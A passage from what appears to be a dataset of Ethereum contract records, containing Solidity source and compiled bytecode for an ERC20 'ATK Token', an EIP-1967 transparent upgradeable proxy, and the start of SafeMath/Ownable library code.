returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}
contract ATKToken is ERC20 {
string public name="ATK Token";
string public symbol="ATKT";
uint8 public decimals=18;
uint256 public constant INITIAL_SUPPLY = 390000000 * (10 ** uint256(18));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_mint(msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806339509351146102c057806370a082311461032557806395d89b411461037c578063a457c2d71461040c578063a9059cbb14610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105eb565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610718565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610722565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610add565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610aeb565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610afe565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d35565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d7d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e1b565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611052565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611272565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561062857600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561077157600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107fc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561083857600080fd5b610889826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061091c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109ed82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6012600a0a63173eed800281565b600560009054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b3b57600080fd5b610bca82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131a90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e135780601f10610de857610100808354040283529160200191610e13565b820191906000526020600020905b815481529060010190602001808311610df657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e5857600080fd5b610ee782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110a157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110dd57600080fd5b61112e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112f990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111c1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461131a90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561130b57600080fd5b82840390508091505092915050565b600080828401905083811015151561133157600080fd5b80915050929150505600a165627a7a723058202199518193f73125319770ac4410f797b6c4c91b956569eb863993480d99f4950029
|
{"success": true, "error": null, "results": {}}
| 8,078 |
0xed6FF6254E5B0C57DE2389A19C1a09cAD16Fe318
|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.6.12;
interface IWSProxy {
function initialize(address _implementation, address _admin, bytes calldata _data) external;
function upgradeTo(address _proxy) external;
function upgradeToAndCall(address _proxy, bytes calldata data) external payable;
function changeAdmin(address newAdmin) external;
function admin() external returns (address);
function implementation() external returns (address);
}
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () payable external {
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () payable external {
_delegate(_implementation());
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract UpgradeableProxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor() public payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) virtual internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
address implementation = _implementation();
require(implementation != newImplementation, "WSProxy: Attemps update proxy with the same implementation");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative inerface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy, IWSProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor() public payable UpgradeableProxy() {
require(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1), "Wrong admin slot");
_setAdmin(msg.sender);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external override ifAdmin returns (address) {
return _admin();
}
function initialize(address _newImplementation, address _admin, bytes calldata _data) external override ifAdmin {
_upgradeTo(_newImplementation);
_setAdmin(_admin);
if(_data.length > 0) {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = _implementation().delegatecall(_data);
require(success);
}
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external override ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external override ifAdmin {
require(newAdmin != _admin(), "WSProxy: new admin is the same admin.");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.
*/
function upgradeTo(address newImplementation) external override ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified
* by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the
* proxied contract.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) external override payable ifAdmin {
_upgradeTo(newImplementation);
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @dev Returns the current admin.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = _ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
adm := sload(slot)
}
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
bytes32 slot = _ADMIN_SLOT;
require(newAdmin != address(0), "WSProxy: Can't set admin to zero address.");
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newAdmin)
}
}
}
contract WSProxyFactory is TransparentUpgradeableProxy {
constructor() public payable TransparentUpgradeableProxy() {
}
}
|
0x6080604052600436106100695760003560e01c80638f283970116100435780638f28397014610196578063cf7a1d77146101d6578063f851a4401461027957610080565b80633659cfe61461008b5780634f1ef286146100cb5780635c60da1b1461015857610080565b366100805761007e61007961028e565b6102b3565b005b61007e61007961028e565b34801561009757600080fd5b5061007e600480360360208110156100ae57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166102dc565b61007e600480360360408110156100e157600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516919081019060408101602082013564010000000081111561011957600080fd5b82018360208201111561012b57600080fd5b8035906020019184600183028401116401000000008311171561014d57600080fd5b509092509050610330565b34801561016457600080fd5b5061016d6103ff565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156101a257600080fd5b5061007e600480360360208110156101b957600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610456565b3480156101e257600080fd5b5061007e600480360360608110156101f957600080fd5b73ffffffffffffffffffffffffffffffffffffffff823581169260208101359091169181019060608101604082013564010000000081111561023a57600080fd5b82018360208201111561024c57600080fd5b8035906020019184600183028401116401000000008311171561026e57600080fd5b50909250905061057e565b34801561028557600080fd5b5061016d61066a565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156102d2573d6000f35b3d6000fd5b505050565b6102e46106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561032557610320816106d0565b61032d565b61032d61071d565b50565b6103386106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103f757610374836106d0565b60008373ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103de576040519150601f19603f3d011682016040523d82523d6000602084013e6103e3565b606091505b50509050806103f157600080fd5b506102d7565b6102d761071d565b60006104096106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561044b5761044461028e565b9050610453565b61045361071d565b90565b61045e6106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610325576104996106ab565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561051d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806108716025913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6105466106ab565b6040805173ffffffffffffffffffffffffffffffffffffffff928316815291841660208301528051918290030190a16103208161072a565b6105866106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561065c576105c2846106d0565b6105cb8361072a565b80156106575760006105db61028e565b73ffffffffffffffffffffffffffffffffffffffff1683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610642576040519150601f19603f3d011682016040523d82523d6000602084013e610647565b606091505b505090508061065557600080fd5b505b610664565b61066461071d565b50505050565b60006106746106ab565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561044b576104445b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6106d9816107ba565b60405173ffffffffffffffffffffffffffffffffffffffff8216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b61072861007961028e565b565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610373ffffffffffffffffffffffffffffffffffffffff82166107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806108d06029913960400191505060405180910390fd5b55565b60006107c461028e565b90508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561084b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a815260200180610896603a913960400191505060405180910390fd5b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe575350726f78793a206e65772061646d696e206973207468652073616d652061646d696e2e575350726f78793a20417474656d7073207570646174652070726f78792077697468207468652073616d6520696d706c656d656e746174696f6e575350726f78793a2043616e2774207365742061646d696e20746f207a65726f20616464726573732ea2646970667358221220b0ba87426ef342544ce06d3f68efb829def43c38525d281bd475f5e06ad9afab64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,079 |
0x79aA3F8B2985967208a2dDB2F187Aa67ba58C712
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
